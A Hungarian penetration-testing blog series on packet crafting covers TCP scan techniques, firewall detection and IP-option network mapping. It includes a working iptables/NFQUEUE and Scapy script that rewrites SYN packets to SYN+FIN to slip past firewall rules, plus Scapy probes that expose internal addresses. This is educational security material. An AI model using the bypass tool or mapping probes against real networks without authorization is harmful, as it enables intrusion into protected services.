Ha TCPről és tűzfal bypassról beszélünk akkor a SYN+ACK a kulcs, ezt szeretnénk látni. Ha a SYN+ACK megvan, akkor egy csomagszűrő tűzfal onnantól már nem nagyon fog beleszólni. Nézzünk valami konkrétat.

Egy érdekes kapcsoló az iptablesben a –syn, ami elég gyakran előfordul tűzfal scriptekben. Érdemes megvizsgálni (man iptables). Azt mondja hogy:

[!] --syn
Only match TCP packets with the SYN bit set and the ACK,RST and FIN bits cleared. Such packets are used to request TCP connection initiation; for example, blocking such packets coming in an interface will prevent incoming TCP connections, but outgoing TCP connections will be unaffected. It is equivalent to --tcp-flags SYN,RST,ACK,FIN SYN. If the "!" flag precedes the "--syn", the sense of the option is inverted.

Tömören: Ha a SYN, RST, ACK, és FIN flagek közül csak a SYN van beállítva akkor matchel. Ez elsősorban negatív model tűzfalaknál okoz parát, ugyanis a TCP kapcsolatot fel lehet építeni SYN+FIN flaggel is. Ez esetben a 3way handshaket kell megtweakelni, tehát a kapcsolat a szokásos <SYN><SYN+ACK><ACK> helyett <SYN+FIN><SYN+ACK><ACK> -al fog létrejönni. És ami a scannelés résznél kimaradt, az a SYN+FIN scan, amit a SYN scan mellett még célszerű lefuttatni, illetve összehasonlítani. Az nmap –scanflags SYNFIN hatására csinál ilyet, és ha mákunk van akkor lehet hogy kiesik még néhány “open” port. A példa kedvéért:

# nmap <target_ip> -p 3306 -n -PN --reason -sS

Starting Nmap 5.00 ( http://nmap.org ) at 2013-02-01 19:38 CET
Interesting ports on <target_ip>:
PORT     STATE    SERVICE REASON
3306/tcp filtered mysql   no-response

# nmap <target_ip> -p 3306 -n -PN --reason --scanflags SYNFIN

Starting Nmap 5.00 ( http://nmap.org ) at 2013-02-01 19:38 CET
Interesting ports on <target_ip>:
PORT     STATE SERVICE REASON
3306/tcp open  mysql   syn-ack

Negatív modelről van szó, tehát default ACCEPT policy. Annyi történik hogy a szabály nem fog matchelni, és ha nincs más tiltás, akkor a chain végén az ACCEPT lesz a nyertes. Akkor építsünk fel egy kapcsolatot egy ilyen (majdnem) filterezett porton… El lehet játszani scapyval, és lezongorázhatjuk a 3way handshaket, ami tök jó tapasztalatnak, de a gyakorlatban ez kevés. Nem egy POC-ra van szükség, hanem szeretnénk a szolgáltatáshoz a megfelelő clienttel csatlakozni, ehez viszont bele köll túrni a paket flowba. Van pár lehetőség, de megpróbáltam valami elegáns és relativ portable megoldást összehozni.

Emögött a módszer a következő: IPtablessel az OUTPUT chainen a cél felé menő csomagot, de csak azt amiben _csak_ a SYN flag van beállítva, lerakjuk NFQueue-ba, majd eldropoljuk mert nem kell, van belőle másolat. Egy pyton script kibányássza az nfqueue-ból, módosítja a flageket SYN -ről SYN+FIN-re, és elküldi. Ennyi, nincs vele több dolog. Ez után már a megszokott módon lehet használni az akármilyen klienst. MySQL-en ez a különbség:

# mysql -h target_ip
ERROR 2003 (HY000): Can't connect to MySQL server on 'target_ip' (110)

…ez egy connrefuse volt…

# mysql -h target_ip
ERROR 1045 (28000): Access denied for user 'root'@'target_ip' (using password: NO)

Ez meg nem.

Az nfqueue-s ötletet és a kódot innen vettem kölcsön.

synfinfu.sh:

#!/bin/bash

iptables -A OUTPUT -p tcp --tcp-flags ALL SYN -d $1 --dport $2 -j NFQUEUE --queue-num $$

iptables -A OUTPUT -p tcp --tcp-flags ALL SYN -d $1 --dport $2 -j DROP

python synfinfu.py $$

synfinfu.py:

import logging, sys, nfqueue
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import *
conf.verb = 0

qid = sys.argv[1]

def synfin(i, payload):
data = payload.get_data()
p = IP(data)
p[TCP].flags="SF"
del p[IP].chksum
del p[TCP].chksum
p = p.__class__(str(p))
send(p);

q = nfqueue.queue()
q.open()
q.bind(socket.AF_INET)
q.set_callback(synfin)
q.create_queue(qid)

try:
q.try_run()
except KeyboardInterrupt:
print "Exiting..."
q.unbind(socket.AF_INET)
q.close()
sys.exit(1)

Ezt nemsokára kinn lesz Gitoriuson is. Kelleni fog az nfqueue, szóval először…

# modprobe nfnetlink_queue

aztán

# apt-get install nfqueue-bindings-python

végül:

# ./synfinfu.sh <szerver_ip> <port>

és már lehet is kapcsolódni a szolgáltatáshoz a kedvenc klienssel.

Mára ennyi a paketolásból. Még egy pár gondolat így a végére: Alkalmazásrétegen / egyéb protokollokon keresztül bypass-ra majd visszatérünk egy külön postban. A Netfilter lelkivilágáról egy itt egy szép rajz, ha valakinek kedve támad teszteléshez: http://upload.wikimedia.org/wikipedia/commons/3/37/Netfilter-packet-flow.svg

A következő post is paketolás lesz, ezen belül a MITM támadások, spoof … még most körvonalazódik. Bármi kérdés, kérés, felvetés, javaslat, anyázás jöhet kommentbe. ^^

Átemelve http://buhera.blog.hu/2013/03/04/packet-fu_513

packet-fu 2.

Az előző postban elszöszöltünk az IPoptions RR/TS -el, TTL-el, és többnyire csak TCPvel foglalkoztunk. Ez a post egy kicsit támaszkodni fog rá, szóval ha még nem olvastad akkor célszerű először azt. Igyekszek lényegretörően felépíteni az írást, de most sem megyek le nagyon a részletekig. Maradunk továbbra is a 3. és 4.-ik layeren. Se fel, se le… egyelőre.

Most két olyan témát fogunk kapirgálni, amelyeket csak egymás mellett érdemes tárgyalni: scannelés és tűzfalak. Eredetileg ezt a két témát egy postban szerettem volna lezavarni, de elég hosszúra sikerült, ezért utólag kettészedtem, úgyhogy a harmadik epizód már be van tárazva.

Fontos kérdés: Mit nevezünk tűzfalnak? Noss.. ez csak attól függ hogy kit kérdezel. Enterprise környezetben nem tűzfal az, ami alkalmazásszinten nem véd. Értsd: szűri a HTTP forgalmat, IM protokollokat csesztet, vírusokat kerget, ésatöbbi blaa blaa blaa… Madár ellen kerítés. Amikor szóba kerülnek akkor kicsit nyűgös leszek, aminek történelmi okai vannak. (Tudom… velem van a baj, mert ezek nagyon kiforrott termékek.) Na ezekről nem lesz szó, vagyis csak max layer4-ig. Amikor azt mondom tűzfal, csomagszűrő tűzfalról beszélek, de ezek sem egyformák. Mit szeretnénk (meg)tudni róla? A network stack implementációja mennyire komplett? Stateful/stateless? Azon a vason fut ahol a szolgáltatás vagy előtte? Milyen szabályok vannak rajta felvéve? Tudom bypassolni őket?

A scannelés az információgyűjtés aktív fázisának a része, az egyik legfontosabb módszer a támadó eszköztárában a célhálózat feltérképezésére. A támadónak van egy célja, és ehhez keresi az utat. Ehhez kell a jó térkép. Egy átfogó scan magába foglal host-, service– ésOS-detection-t, képet ad a hálózati topológiáról, a használt technológiákról,tűzfalakról. Végeredményben a tesztelés további fázisainak ez lesz az alapja.

Lássuk.

Scannelés

Nmap, unicornscan, hp scanjet g2710, etc… kinek mi a kedvenc scannere, én az nmapot kedvelem bcoz of reasons, de ennek is megvannak a korlátai sajnos. Csak hogy ne legyen se totál broken a mondókám, se túl leveses, nézzük meg a basic módszereket. Igyekszem rövidre fogni.

Host detection

A szokványos megoldások mint a ICMP/timestamp echo request, tcp common port próbák mind arra irányulnak hogy mindegy milyen packet, csak válaszoljon. Ezeket most hagyjuk, nem sok tárgyalni való van rajtuk. közelítsük meg más irányból.

Inverse mapping

A módszer lényege abban áll, hogy elküldünk egy adag ICMP echo reply-t (nem typo) a célzott háló irányába. Mivel a router nem trackeli az ICMP echo requesteket, ezért a replyt tovább dobja a címzetteknek, már akiről tud. Ha valakit nem ismer akkor visszaküld nekünk egy ICMP Host unreachable-t. Ebből nem fogjuk látni hogy kik vannak, viszont azt igen, hogy kik nincsenek: ebből lehet következtetni arra hogy kik vannak. Még ha tűzfal is van a háló előtt, jó sansz van rá hogy ebbe nem szól bele.

UDP scan

(Utálatos, fuj fuj fuj) Essünk túl rajta. Két metódus létezik: Küldesz paketot, és ha nem listenel ott semmi és mákod van akkor kapsz egy ICMP/portunreachable -t, és akkor is csak nagyon lassan lehet scannelni mert az ICMP hibaüzenetek néhány típusa alapból rate limitelve van linuxnál. Bővebben: man 7 icmp. Windowsnál a stock tűzfal megeszi a icmpunreach-eket. Nmap-nál igen hasznos feature a –reason, így látni fogjuk hogy miért mondja azt amit.

A másik lehetőség a sweep scan. Megpróbál valid paketokat küldeni az egyes szolgáltatásokra és vár a válaszra. Az nmap a -sUV -ra csinál ilyet, és kb 20 különféle servicera van patternje. Ez sajna úgy működik hogy először scannel egyet az első módszer szerint, és ami portot open vagy open|filtered -nek gondol oda elküldi a megfelelő stuffot, aztán figyel… ha nincs icmp unreach, és sok az open|filter akkor mocskos lassú. A Nessusis tud ilyet, sokkal több servicet ismer (~70-80), viszont cserébe ez is mocskos lassú. A Metasploit udp_sweep modulja elég gyors, viszont cserébe csak 10-12 servicet vág, és nem is nézi a többi portot, csak a defaultokat. Az Unicornscan is elég hatékony (értsd: ki lehet várni) a -mU kapcsolóval (és –pps 200 az úgy korrekt packet/sec ha /24-et scannelsz, mert inkrementálva megy körbe az IPken), így egy default portlistát pörget. Itt van még egy témába vágó post Carnal0wnage-en, itt is van pár jó tipp.

TCP scan

Alapvetően nem szeretnék végigklaffogni az nmap beépített TCP scan technikáin, egyrészt mert arra ott van a man (+ egy halom írás, tutorial), másrészt meg ez egy tech blog, nem CEH előkészítő. Végül arra jutottam hogy inkább a működési mechanizmusokat és a módszertant érdemes megvizsgálni.

Mielőtt ennek nekiesünk, vizsgáljuk meg a működési mechanizmust. Ha útnak eresztesz egy paketot akkor vagy jön válasz, vagy nem jön válasz. Ha jön válasz akkor az 4 módon történhet: SYN+ACK, RST, RST+ACK, illetve ICMP hibaüzi. Most csak a flagekre koncentrálunk, és ezekből is a SYN, ACK, és RST ami egyelőre érdekes.

  1. Ha az RST flag be van állítva, akkor azt minden egészséges network stackkel szerelt OSnek el kéne dobnia (akár open, akár closed), ettől eltérő viselkedés esetén joggal feltételezhetjük a tűzfal appliance jelenlétét. Ugyanez az incomplete-network-stack jelenlét megfogható azzal is, ha inkorrekt TCP/UDP checksummal küldött paketra jön válasz. Az nmap a –badsum kapcsolóval tudja így elcseszni a layer4-et. Erről a módszerről bővebben a Phrack 60/12 -ben
  2. Az ACK-et bármilyen más flaggel kombinálva (kivéve RST) egy pucér RST -t kell kapnunk, akár open, akár closed a port. Ha nem kapunk semmit akkor filtered, ha mást kapunk akkor az vmi tűzfal.
  3. Ha SYN paketot küldesz, az ACK és RST kivételével bármilyen más flaggel kombóban, akkor SYN+ACK-ot kapsz nyitott portra, RST+ACK -ot zárt portra. Eltérő viselkedés esetén tűzfal van.

Ezt így lehet általánosítani, de ha az igaz szamurájok útját választod akkor az RFC793legyen a mestered. A 64-edik oldalon találod a CLOSED és a LISTEN state-re vonatkozó viselkedéseket.

intermezzo

Említettem hogy az nmapot kedvelem (a korlátaival együtt). Az egyik ami miatt kényelmetlen a használata az az, hogy a response packetok részleteit nem írja ki alapból. Pl. ahoz hogy a TTL-t is lássam –packet-trace -el kell indítani. Azóta se értem. Az Unicornscan bezzeg kiirja. Meg a hping3 is, tök kulturált jól átlátható kimenetet ad, és jól paraméterezhető, de én inkább tűzfal teszteléshez szeretem… ízlés kérdése. Nem célom összehasonlítani hogy melyik scanner/tool mit tud és mit nem. Az nmap nem mutatja a fontos kis részleteket, a hping3 nem tud tartományt scannelni, az unicorn scannél nem lehet állítgatni a scanflageket, se fragmentálni se tud.

A helyzet az hogy mindegyiknek megvannak az előnyei, korlátai, neked pedig adott a választás lehetősége. Ha nem vagy elégedett, írhatsz sajátot, és ha aktívan teszteléssel foglalkozol, akkor előbb utóbb rájössz hogy lehet, és célszerű automatizálni egyes vizsgálatokat/feladatokat. Így születnek a jó toolok. 🙂

Na de vissza a parkettre. (még a TCP scannél tartunk :))

/intermezzo

Most csak a FW evasionre és ruleset mappingra zoomolunk. Egyrészt lehet a flagekkel görénykedni, másrészt minden mással. Nézzük a flageket:

A legtöbb free, és kereskedelmi forgalomban kapható tűzfal és IDS csutka nélkül levág egy stock nmap SYN scant. Jó esetben csak generálódik egy alert, és bekerülünk a nap végi összefoglalóba amit az admin megkap emailben. Ha nincs szerencse akkor IP alapján kivágnak minket, és esetleg még egy abuse@ is útnak indul a szolgáltatónk irányába. Erre jelenthet megoldást az nmap –data-length paramétere, és a különféle flagekkel való scannelés. Ja és az okos timing… SYN scan nyugíjas tempóban, az a tuti. Nem kell kapkodni, mindig legyen időd rendesen reggelizni és kávézni.

Azt hogy bejátszik egy tűzfal, általában nehéz nem észrevenni. Ha már sikerült kideríteni hogy egy tűzfal belekotnyeleskedik a dolgunkba akkor érdemes megvizsgálni ACKpaketokkal. Első ránézésre furcsának tűnhet, hiszen mindegy hogy listenel-e a port vagy nem, mindenképpen RST-t kapunk vissza. Kivéve ha stateful tűzfalba ütközik, mert ha az trackeli a kapcsolatokat akkor nem fogja átengedni… de a FIN scant se.

Egyelőre ennyit a flagekről. Az a legjobb ha eljátszol a különböző tűzfalakkal, zsonglőrködsz a flagekkel, megfigyeled és kitapasztalod a viselkedéseket. Az nmapnál szerencsére a –scanflags opcióval lehet variálni a tcp portscanhez használt flageket, ami a –reasonkombinációjával jó szolgálatot tesz amikor valami másra van szükségünk mint a bedrótozott scan technikák.

Az alternatív scan technikák közül megemlíteném a Maimon scant. A technikát Uriel Maimon publikálta a Phrack 49-15 -ben 1996-ban, és az nmapba is belekerült (lásd FyodorPhrack 51-11) a FIN scan (-U kapcsolóval, mint Uriel). Az eredeti cikk címe “Portscanelés SYN flag nélkül”, és erre két metódust ír le: Az egyik a BSD netcode azon sajátosságát használja fel, miszerint a listen porton elnyeli a FIN csomagot. Igen ez pontosan a FINscan. A másik módszer az ACK scan (az ACK-ra ugye minden esetben RST-t kapunk), ami arra alapul(t) hogy a visszakapott RST paket TTL-je eggyel alacsonyabb volt nyitott portnál mint zártnál, ráadásul a window méret sem volt a zárt portnál megszokott nulla.

Ehez képest most a Maimon scan nmapban FIN+ACK paketokkal szemetel, amiről szó nincsen az egész cikkben, és a mellékelt kód sem tartalmaz ilyet. Valaki félreértette ezt a mondatot…

“I use TCP packets with the ACK, and FIN flags turned on.”.

Hunger talált nekem egy ilyen őslényt (horus.icbm.uni-oldenburg.de) amin demonstrálható a módszer. Köszi! 🙂 Bevallom most látok először ilyet. Sajnos az nmap Maimon scan implementációja nem működik, ezért egy saját scripttel nézem:

# ./porttest 134.106.80.130 21-23 S
port | flags | ttl | win   | seq
21   | SA    | 45  | 32768 | 372454725
22   | RA    | 45  | 0     | 0
23   | SA    | 45  | 32768 | 372607376

# ./porttest 134.106.80.130 21-23 A
port | flags | ttl | win   | seq
21   | R     | 45  | 32768 | 0
22   | R     | 45  | 0     | 0
23   | R     | 45  | 32768 | 0

Menet közben átgázoltunk egy ezidáig nem említett kifejezésen miszerint “window méret“, de hogy jön ez képbe a portscannelésnél? Ez nem biztos hogy mindenkinek kerek, úgyhogy tegyünk egy kis kalandos kitérőt flow control földére, de ha vágod akkor GOTO 10;

A TCP window a flow control eszköze (ezt hogy mondják magyarul?). Gondolj rá úgy mint receive buffer. A kapcsolat kiépülésétől kezdve minden egyes ACK csomagnál be van állítva a window méret, ami tudatja a fogadó féllel hogy max mekkora cuccost bír el a recv buffere. A küldő félnek max ekkorát illik küldenie. Ha a fogadó fél nem tudja elég gyorsan olvasni (/feldolgozni) az adatokat, a recv buffer megtelik. Ilyenkor az OS küld egy paketot nullás window mérettel. A küldő fél ilyenkor általában elkezd (wiresharkos nyelvezettel élve) ZeroWindowProbe -okat küldeni amire ZeroWindowProbeAck a válasz. Ebből tudja a küldő hogy a túloldalon még valami küszködés van. Amikor a fogadó félnek sikerült utolérnie magát, akkor küld egy ACK-t az aktuális window mérettel, ezt hívják úgy hogy TCP window update. De egyelőre ennyit erről.

10

Na de hogy jön ez képbe scannelés közben? Amikor szembejön egy SYN+ACK csak éppennullás window mérettel…

# ./porttest [furcsa_weboldal_IPje] 80 S
port | flags | ttl | win   | seq
80   | SA    | 62  | 0     | 2593461280

…akkor jusson eszedbe hogy bizonyos loadbalancerek és tűzfalmegoldások tweakelnek ilyen furmányos módon. Ha látsz egy ilyet (RST+SYN -re SYN+ACK)…

# ./porttest [furcsa_weboldal_IPje] 80 SRA
port | flags | ttl | win   | seq
80   | SA    | 62  | 0     | 4137744821

…akkor sem kell meglepődni, van ilyen csúnyán broken network modul. Na de hagyjuk az aberrált példákat, tesztelések közben fogsz találkozni pár furcsasággal. Az ilyen kisebb teszteket is célszerű automatizálni ha sokat használjuk: Ha megfuzzoljuk a flageket, elég könnyen ki lehet szúrni a rendellenességeket. Van 6 bit amit végig lehet pörgetni, 64 testcase nem sok. De többnyire fölösleges, elég csak SYN, ACK, FIN, és esetleg az RSTflageket megforgatni.

# ./TCPFlagFuzzer example.com 80
ICMP:
SA: S
R:
RA: N F A FA SA

vagy:

# ./TCPFlagFuzzer.ext example.com 80
flags_out | flags | ttl |     win |        seq
N         |    RA | 246 |       0 |          0
F         |    RA | 246 |       0 |          0
S         |    SA | 246 |    1608 | 1705425240
P         |    RA | 246 |       0 |          0
FP        |    RA | 246 |       0 |          0
SP        |    SA | 246 |    1608 | 1813841261
A         |    RA | 246 |       0 |          0
FA        |    RA | 246 |       0 |          0
SA        |    RA | 246 |       0 |          0
PA        |    RA | 246 |       0 |          0
FPA       |    RA | 246 |       0 |          0
SPA       |    RA | 246 |       0 |          0
U         |    RA | 246 |       0 |          0
FU        |    RA | 246 |       0 |          0
SU        |    SA | 246 |    1608 |  819784110
PU        |    RA | 246 |       0 |          0
FPU       |    RA | 246 |       0 |          0
SPU       |    SA | 246 |    1608 | 2274254500
AU        |    RA | 246 |       0 |          0
FAU       |    RA | 246 |       0 |          0
SAU       |    RA | 246 |       0 |          0
PAU       |    RA | 246 |       0 |          0
FPAU      |    RA | 246 |       0 |          0
SPAU      |    RA | 246 |       0 |          0
finished

Ezzel szépen lassan alácsúsztunk a tűzfalaknak. Nézzünk szembe a kegyetlen valósággal: a tűzfal azért van hogy keresztbe tegyen a játékunknak. Egy tisztességesen beállított tűzfalat bypassolni majdnem lehetetlen.

Nem véletlenül van ott az a “majdnem” kiemelve. Egy kis hacker szemlélet: Soha, de SOHA ne mondd azt hogy lehetetlen. Amikor kimondod hogy lehetetlen, bezártad az ajtót, és nem fogod rajta tovább törni a fejed, nem vizsgálsz meg több lehetőséget. Lehet hogy nem fog sikerülni, de ha meg sem próbálod, akkor biztos hogy nem fog sikerülni. ez gyakran megesik. ^___^

Két security model van, a pozitív és a negatív. A pozitív azt mondja hogy mindent tiltunk, és explicit azt engedjük amit akarunk. A negatív azt mondja: mindent engedünk, de tiltjuk amit nem szabad. Egy default drop policy viszonylag könnyen azonosítható hiszen minden filtered, kivéve amit engednek. Egy defaultaccept/tiltunk-ezt-azt esetében a portok nagy többsége closed lesz. Nmap synscannél ez így néz ki:

Not shown: 119 filtered ports
Reason: 119 no-responses
PORT   STATE SERVICE REASON
80/tcp open  http    syn-ack

Not shown: 55 closed ports
Reason: 55 resets
PORT   STATE SERVICE REASON
80/tcp open  http    syn-ack

Persze hogy nem lehet általánosítani így, hiszen vannak hazudós tűzfalak. Az hogy a port closed annyit tesz hogy kaptunk egy RST+ACK-t, de egyáltalán nem biztos hogy a szerver mondja. Viszont ha a tűzfal válaszol akkor egész jó sansza van hogy a TTL különbözni fog, erre nem szoktak odafigyelni. A flagfuzzer egy hasznos jószág, érdemes ráfuttatni nyitott, zárt, és filterezett portokra is.

Bár a fal jelenlétének igazolása általában megoldható különböző scanekkel, de blackboxból felmappelni a rulokat már túlmutat a stock scanek lehetőségein. A nyitott portokon meg lehet vizsgálni a kapcsolat felépítésétől a lezárásig különféle rfc incompliant vagy épp compliant-csak-szokatlan manővereket. Lehet fejtegetni a szabályok feltérképezését, próba-kizárás alapon egész jól meg lehet közelíteni az valóságot. Ez a topic most kimarad, kevésbé érdekes mint az, hogy hogyan lehet bypassolni azt a nyavalyás tűzfalat ami mögött vár a loot. Amúgyis erre megy ki az egész. Itt van az a pont ahol kettévágtam a postot.

Bár már itt is kóstolgattuk, de a következő post jobban a tűzfalakra fog fókuszálni, de visszatérünk még egy pár gondolat erejéig a scanneléshez is.

Átemelve http://buhera.blog.hu/2013/02/11/packet-fu_341

packet-fu 1.

Azt beszéltük apuval 🙂 hogy a kiddós feltörések már mocskos unalmasak. Az a terv, hogy néhány módszert és technikát írásos formába öntök, ennek első morzsájaként született ez a post. Nem túl mély, de feltételezem hogy valamennyire képben van az olvasó a hálózati protkollokkal, és remélem hogy annak is tudok újat mondani aki arccal benne van a paketolásban.

Egy penteszt során amikor aktív paketolásra kerül a sor, az elsők között lefut egy portscan, többnyire nmap, -de ugye kinek mi a kedvenc scannere- amiből látszani fog néhány open port. Ezzel is meg lehet elégedni, hiszen ennyi információ elég ahoz hogy a szolgáltatásra lehessen uszítani az X/Y vulnscannert, ami böködi egy darabig a szolgáltatást/alkalmazást, aztán vagy mond valamit vagy nem. Az automatizált eszközök mindenféle okosságot elmondanak, de ne hagyjuk hogy elvakítson a könnyű haszon. Hasznosak -persze-, de nem mindenhatóak, elsiklanak a részletek fölött. Ezt majd egy másik alkalommal elpanaszkodom. 🙂

Most csak az open portokkal foglalkozunk, de a scannelésre még ebben a sorozatban visszatérek. Még annyit hogy a cikk méretére tekintettel nem fejtek ki mindent részletekbe menően, viszont feltüntetem hogy hol tudsz utánanézni. Most viszont lássuk miből élünk (és tényleg).

/1 játék a TTL -ekkel

Egy stock portscanből annyi látszik hogy X/Y IP címen N darab szolgáltatás figyel. Más kérdés hogy tényleg azon a vason fut-e a szolgáltatás, vagy épp csak ki van a port forwardolva/natolva. Ha erre zoomolunk, akkor egyrészt érdemes megvizsgálni a TTL-eket. Legyen egy egyszerű scenario: tűzfal mögött webszerver, amiről a tcp/80 ki van forwardolva. Az ICMP-re a tűzfal fog válaszolni, viszont a TCP/80-ra érkező csomagot hátradobja a webszervernek, aki visszaküldi a SYNACK-ot, és az esetek nagy részében a TTL-ek ilyenkor eltérnek. Valami ilyesmi van az rh.com-nál, úgyhogy vele fogok példálózni. Kapjunk elő egy Scapy-t.

>>> sr1( IP(dst="rh.com") / ICMP() ).ttl
56
>>> sr1( IP(dst="rh.com") / TCP(sport=12345, dport=80) ).ttl
55

Az rhdotkom tőlem 8 hop távolságra (network distance) van ha icmp-t nézek, 9 hop tcp-n.

56 és 55 (icmpttl=56, tcpttl=55) ha tippelhetnék akkor azt mondanám hogy ez két linux, de ha beesik egy ilyen hogy 61/123, akkor valószínűsíthetjük a linuxtűzfal mögött windows szerver felállást. Bár ez nem a végső bizonyság, nem mondhatom azt, hogy ha eltér a TTL akkor az portforward, de ha nem akkor az a szolgáltatás ott helyben fut. Túl egyszerű lenne. Az ao.com-ra pl a fenti script 55/56 -ot mond. Nincs ebben semmi meglepő. Az ilyen kis vizsgálatokat célszerű egy kis scripteléssel leegyszerűsíteni:

import logging, sys
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import *
conf.verb = 0

dst = sys.argv[1]
dport = sys.argv[2]

icmp = sr1(IP(dst=dst)/ICMP(), verbose=None, timeout=0.1)
tcp = sr1(IP(dst=dst)/TCP(sport=43432, dport=int(dport)), timeout=0.1)
if (tcp is not None):
print “%-16s %3d/%-3d %-4s” % (dst, icmp.ttl, tcp.ttl, tcp.sprintf(“%TCP.flags%”))

A logger és a conf.verb azért kell hogy a scapy ne irkálja mindíg az ipv6 route és egyéb marhaságokat. Így fog kinézni ha használatba veszed:

# python ttltest.py rh.com 80
rh.com            56/55  SA

No de piszkálódjunk tovább.

/2 az IP options és a Record Route

A továbbiakban RR-ként fogok rá hivatkozni. Az IP options RR olyat tud, hogy az útnak indított csomag (IP) fejlécében az options mezőben szépen összegyűjti hogy kiken ment keresztül. Pontosabban amikor egy router megkapja, belenéz az options-be, mert hátha valami fontos dolog van ott, és ha azt látja hogy RR van akkor szépen beleírja magát a következő szabad helyre. A ping a -R kapcsolóval tud RR-es csomagokat küldeni:

ping -R -c1 rh.com

Traceroute feeling igen, de a traceroute a TTL-ekkel játszik, ez más tészta. Bár a RR csak 9 IP-t tud rögzíteni az options mező korlátozott méretéből adódóan, mégis van egy nagyon jó fícsöre, amit a traceroute nem tud. Az előbb ugye icmp/echorequest csomagokat eresztettünk útnak, de mi van akkor ha egy tcp/syn csomag IP options-ben állítom be az RR-t? Az van hogy visszajön a synack, immáron a routerek címeivel, és ha ez a port esetleg ki volt forwardolva egy belső IP-ről és még 9 hopon belül is vagyunk… akkor bizony ott fog sasolni néhány belső IP is a route-ok között. Ezt nem tudja a traceroute. Erre mindjárt visszatérünk, csak fontos hogy előbb lássunk bele a RR lelkébe.

Na akkor hogyisvanez? Rakjunk össze egy RR paketot. Scapy.

sr1(IP(dst="<IP>", options=IPOption('\x07\x27\x04' + '\x00'*36))/TCP(sport=12345, dport=80)).options[0].routers

Az IPOption összerakásához innen és innen lehet puskázni, (illetve javaslom a RFC791-et) de most úgyis csak az első 3 byte az érdekes.

\x07 – type: a 7 jelenti azt hogy Record Route
\x27 – length: itt most 0x27 az 39 byte
\x04 – pointer: ez mutatja hogy melyik az aktuális pozíció, ugyanis: A RR úgy működik hogy a host/router aki megkapja, megnézi ezt a pointert és ahova mutat, beleírja a saját címét, és növeli a pointert 4-el. Ha ez meghaladja az option méretét akkor nem nem veszi figyelembe.

A maradék \x00 a routerek címének a helye.

Térjünk vissza a portforwardos példához. Hogy néz ki ez élesben? Most a példa kedvéért két ismertebb weboldal lesz a szemléltetés eszköze.

>>> sr1(IP( dst="[cenzúrázva]", options=IPOption('\x07\x27\x04' + '\x00'*36))/TCP(sport=10203, dport=80)).options[0].routers

A kimenetek…. egyik:

['[cenzúrázva]', '[cenzúrázva]', '10.10.2.4', '10.10.2.2', '10.10.2.2', '[cenzúrázva]', '[cenzúrázva]', '[cenzúrázva]', '0.0.0.0']

másik…

['[cenzúrázva]', '[cenzúrázva]', '[cenzúrázva]', '192.168.200.71', '192.168.200.71', '[cenzúrázva]', '[cenzúrázva]', '[cenzúrázva], '0.0.0.0']

A webszerver IP-je az lesz, amelyik kétszer szerepel egymás után a listában, a többi meg routolás kérdése. Most egy picit térjünk vissza a TTL-hez. Ha elküldesz egy RR paketot, úgy hogy a TTL lejár mielőtt megérkezne a célhoz, a legtöbb host/router illedelmesen – a protokollnak megfelelően -, visszaválaszol egy ICMP time-exceed üzenettel. Ebből is hasznos infókat lehet levonni: Az ICMP csomag tartalmazni fogja a teljes IP/TCP packetot, beleértve a RR tartalmát is. Tömören annak az állapotnak megfelelő csomagot kapod vissza, amit az a host látott, akinél kihűlt a ttl. Az ICMP csomagok TTL-jéből lehet következtetni az eszköz típusára, és a RR adataival összevetve képet lehet kapni a hálózat kiépítéséről/routolásról. Egyes routerek a válasz ICMP IP headerjébe is beállítják az RR-t (, és ha jól sejtem akkor pont a linuxok ilyen barátságosak, de ez most lényegtelen).

Ezt a tesztet is célszerű lescriptelni, nekem is le van, de nem másolom be ide mert picinkét hosszú, Gitoriouson kint lesz hamarosan.

/3 TimeStamp-fu

Ez is egy IP option, csak ezzel a timestampeket lehet lekérdezni. Ez a módszer kicsit összetettebb mint a fentiek, de hatékony eszköz a hostok feltérképezésében. Most kicsit fordítok a sorrenden. Eddig azt mondtam el hogy hogyan működik, és aztán hogy mire lehet használni. Ez utóbbival kezdeném.

A TS-fu -val fel lehet térképezni hogy egy host milyen egyéb IP címeket tud a magáénak, milyen címek vannak felvéve. (RR segítségével a belső hálós gépeken is.) Játszadoztam egy ideje ezekkel, de miközben ezt a postot írtam, találtam meg Marek Majkowski levelét az nmap-dev listán, ami pont arról szól hogy belegyógyította az nmapba az IP optionst, és ő is leírta ezt a lehetőséget, szóval nem új.

Legelőször vizsgáljuk meg az ipoptions/timestamp-et. Arra való hogy az egyes hostokon le lehessen kérdezni a timestampet. Ez az option 4 Byte-tal kezdődik, amit a fent említett okok miatt nem fejtek ki részleteiben, de a networksorcery-n nagyon szépen le van írva. A 4 Bájtból az utolsó bájt utolsó 4 bitje a flag, amivel ki lehet választani a működést. Ennek a négy bitnek a lehetséges értékei:

  • 0: a hostok/routerek csak timestampeket rögzítik (4 byte / host)
  • 1: a saját IP címüket és a timestampet is rögzítik (8 byte/host – 4byte IP – 4byte TS)
  • 3: te adhatod meg hogy mely hostok timestampjére vagy kiváncsi!

Ez utóbbi segít nekünk most. Ennek a működési mechanizmusának a megértése adja a kulcsot. Az ip option amit készíteni fogunk az 20 byte hosszú lesz headerrel együtt, a következő képpen fog kinézni:

header  IP1     ts1     IP2     ts2

Nézzük akkor hogy hogyan néz ki a header 4 bájtja:

\x44\x14\x05\x03

\x44 – TS
\x14 – a teljes option hossza headerrel együtt: 2×8 + 4 = 20 = 0x14
\x05 – a pointer, az 5-ik bytera mutat
\x03 – a fent már említett “hogyan működjön a timestamp lekérdezés”

Amikor egy host megkapja ezt a csomagot, belenéz, látja hogy TS kérdés, megnézi hogy hova mutat a pointer. Jelenleg a pointer értéke 5, vagyis az IP1 -re mutat! Amennyiben a saját IP címét találja ott, úgy beleírja a timestampet, és inkrementálja a pointer értékét 8-al, ami így már az IP2-re fog mutatni.

Ez tömören az a működés amit ki fogunk használni. Ha úgy küldjük el ezt a csomagot hogy az IP1 valamelyik router címe, akkor addig senki nem fogja piszkálni az értékeket. Amikor megkapja az a host akihez tartozik, akkor a pointer az IP2-re irányítja. Eddig azt sikerült elérni hogy egészen az IP1-ig senki ne bolygassa a paketunkat.

